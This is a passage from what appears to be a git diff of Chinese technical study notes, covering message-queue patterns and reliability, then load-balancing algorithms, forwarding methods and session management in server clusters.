## 点对点
消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。
<div align="center"> <img src="../pics//09b52bcb-88ba-4e36-8244-b375f16ad116.jpg"/> </div><br>
## 发布/订阅
消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。
<div align="center"> <img src="../pics//ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg"/> </div><br>
发布与订阅模式和观察者模式有以下不同:
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会去调用观察者的方法,然后等待方法返回;而发布与订阅模式是异步的,发布者向频道发送一个消息之后,就不需要关心订阅者何时去订阅这个消息。
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg"/> </div><br>
参考:
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
# 二、使用场景
## 异步处理
发送者将消息发送给消息队列之后,不需要同步等待消息接收者处理完毕,而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
例如在注册流程中通常需要发送验证邮件来确保注册用户的身份合法,可以使用消息队列使发送验证邮件的操作异步处理,用户在填写完注册信息之后就可以完成注册,而将发送验证邮件这一消息发送到消息队列中。
只有在业务流程允许异步处理的情况下才能这么做,例如上面的注册流程中,如果要求用户对验证邮件进行点击之后才能完成操作的话,就不能再使用消息队列。
## 流量削锋
在高并发的场景下,如果短时间有大量的请求会压垮服务器。
可以将请求发送到消息队列中,服务器按照其处理能力从消息队列中订阅消息进行处理。
## 应用解耦
如果模块之间不直接进行调用,模块之间耦合度很低,那么修改一个模块或者新增一个模块对其它模块的影响会很小,从而实现可扩展性。
通过使用消息队列,一个模块只需要向消息队列中发送消息,其它模块可以选择性地从消息队列中订阅消息从而完成调用。
# 三、可靠性
# 发送端的可靠性
发送端完成操作后一定能将消息成功发送到消息队列中。
实现方法:
- 在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息队列中,若转移消息成功则删除消息表中的数据,否则继续重传。
# 接收端的可靠性
接收端能够从消息中间件成功消费一次消息。
实现方法:
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。

194
notes/集群.md Normal file
View File

@ -0,0 +1,194 @@
<!-- GFM-TOC -->
* [一、负载均衡](#一负载均衡)
* [算法实现](#算法实现)
* [转发实现](#转发实现)
* [二、集群下的 Session 管理](#二集群下的-session-管理)
* [Sticky Sessions](#sticky-sessions)
* [Session Replication](#session-replication)
* [Session Server](#session-server)
<!-- GFM-TOC -->
# 一、负载均衡
集群中的应用服务器通常被设计成无状态,用户可以请求任何一个节点(应用服务器)。
负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。
负载均衡器可以用来实现高可用以及伸缩性:
- 高可用:当某个节点故障时,负载均衡器不会将用户请求转发到该节点上,从而保证所有服务持续可用;
- 伸缩性:可以很容易地添加移除节点。
负载均衡运行过程包含两个部分:
1. 根据负载均衡算法得到应该将请求转发到哪个节点上;
2. 将请求进行转发;
## 算法实现
### 1. 轮询Round Robin
轮询算法把每个请求轮流发送到每个服务器上。下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后,(1, 3, 5) 的请求会被发送到服务器 1(2, 4, 6) 的请求会被发送到服务器 2。
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担过大的负载(下图的 Server 2
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
### 2. 加权轮询Weighted Round Robbin
加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值,性能高的服务器分配更高的权值。例如下图中,服务器 1 被赋予的权值为 5服务器 2 被赋予的权值为 1那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1(6) 请求会被发送到服务器 2。
<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
### 3. 最少连接least Connections
由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数过大,而另一台服务器的连接过小,造成负载不均衡。例如下图中,(1, 3, 5) 请求会被发送到服务器 1但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1(2, 4, 6) 请求被发送到服务器 2只有 (2) 的连接断开。该系统继续运行时,服务器 2 会承担过大的负载。
<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中,服务器 1 当前连接数最小,那么新到来的请求 6 就会被发送到服务器 1 上。
<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
### 4. 加权最少连接Weighted Least Connection
在最少连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
### 5. 随机算法Random
把请求随机发送到服务器上。和轮询算法类似,该算法比较适合服务器性能差不多的场景。
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
### 6. 源地址哈希法 (IP Hash)
源地址哈希通过对客户端 IP 计算哈希值之后,再对服务器数量进行取模运算得到目标服务器的序号。可以保证同一 IP 的客户端的请求会转发到同一台服务器上可以用来实现会话粘滞Sticky Session
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
## 转发实现
### 1. HTTP 重定向
HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后,将该地址写入 HTTP 重定向报文中,状态码为 302。客户端收到重定向报文之后需要重新向服务器发起请求。
缺点:
- 需要两次请求,因此访问延迟比较高;
- HTTP 负载均衡器处理能力有限,会限制集群的规模。
该负载均衡转发的缺点比较明显,实际场景中很少使用它。
<div align="center"> <img src="../pics//c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
### 2. DNS 域名解析
在 DNS 解析域名的同时使用负载均衡算法计算服务器地址。
优点:
- DNS 能够根据地理位置进行域名解析,返回离用户最近的服务器 IP 地址。
缺点:
- 由于 DNS 具有多级结构,每一级的域名记录都可能被缓存,当下线一台服务器需要修改 DNS 记录时,需要过很长一段时间才能生效;
大型网站基本使用了 DNS 做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。也就是说,域名解析的结果为内部的负载均衡服务器 IP 地址。
<div align="center"> <img src="../pics//76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
### 3. 反向代理服务器
首先了解一下正向代理与反向代理的区别:
- 正向代理:发生在客户端,是由用户主动发起的。比如翻墙,客户端通过主动访问代理服务器,让代理服务器获得需要的外网数据,然后转发回客户端;
- 反向代理:发生在服务器端,用户不知道代理的存在。
反向代理服务器位于源服务器前面,用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等,同时也可以用来做为负载均衡服务器。
在这种负载均衡转发方式下,客户端不直接请求源服务器,因此源服务器不需要外部 IP 地址,而反向代理需要配置内部和外部两套 IP 地址。
优点:
- 与其它功能集成在一起,部署简单。
缺点:
- 所有请求和响应都需要经过反向代理服务器,它可能会成为性能瓶颈。
### 4. 网络层
负载均衡服务器在操作系统内核进程获取网络数据包,根据负载均衡算法计算源服务器的 IP 地址,并修改请求数据包的目的 IP 地址,最后进行转发。
源服务器返回的响应也需要经过负载均衡服务器,通常是让负载均衡服务器同时作为集群的网关服务器来实现。
优点:
- 在内核进程中进行处理,性能比较高。
缺点:
- 和反向代理一样,所有的请求和相应都经过负载均衡服务器,会成为性能瓶颈。
### 5. 链路层
在链路层根据负载均衡算法计算源服务器的 MAC 地址,并修改请求数据包的目的 MAC 地址,并进行转发。
通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致,从而不需要需要 IP 地址就可以进行转发。也正因为 IP 地址一样,所以源服务器的响应不需要转发回负载均衡服务器,直接转发给客户端,避免了负载均衡服务器的成为瓶颈。这是一种三角传输模式,被称为直接路由,对于提供下载和视频服务的网站来说,直接路由避免了大量的网络传输数据经过负载均衡服务器。
这是目前大型网站使用最广负载均衡转发方式,在 Linux 平台可以使用 LVSLinux Virtual Server
参考:
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
# 二、集群下的 Session 管理
一个用户的 Session 信息如果存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器,由于服务器没有用户的 Session 信息,那么该用户就需要重新进行登录等操作。
## Sticky Sessions
需要配置负载均衡器,使得一个用户的所有请求都路由到同一个服务器,这样就可以把用户的 Session 存放在该服务器中。
缺点:
- 当服务器宕机时,将丢失该服务器上的所有 Session。
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
## Session Replication
在服务器之间进行 Session 同步操作,每个服务器都有所有用户的 Session 信息,因此用户可以向任何一个服务器进行请求。
缺点:
- 占用过多内存;
- 同步过程占用网络带宽以及服务器处理器时间。
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
## Session Server
使用一个单独的服务器存储 Session 数据,可以使用 MySQL也使用 Redis 或者 Memcached 这种内存型数据库。
优点:
- 为了使得大型网站具有伸缩性集群中的应用服务器通常需要保持无状态那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储,从而保证了应用服务器的无状态。
缺点:
- 需要去实现存取 Session 的代码。
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
参考:
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB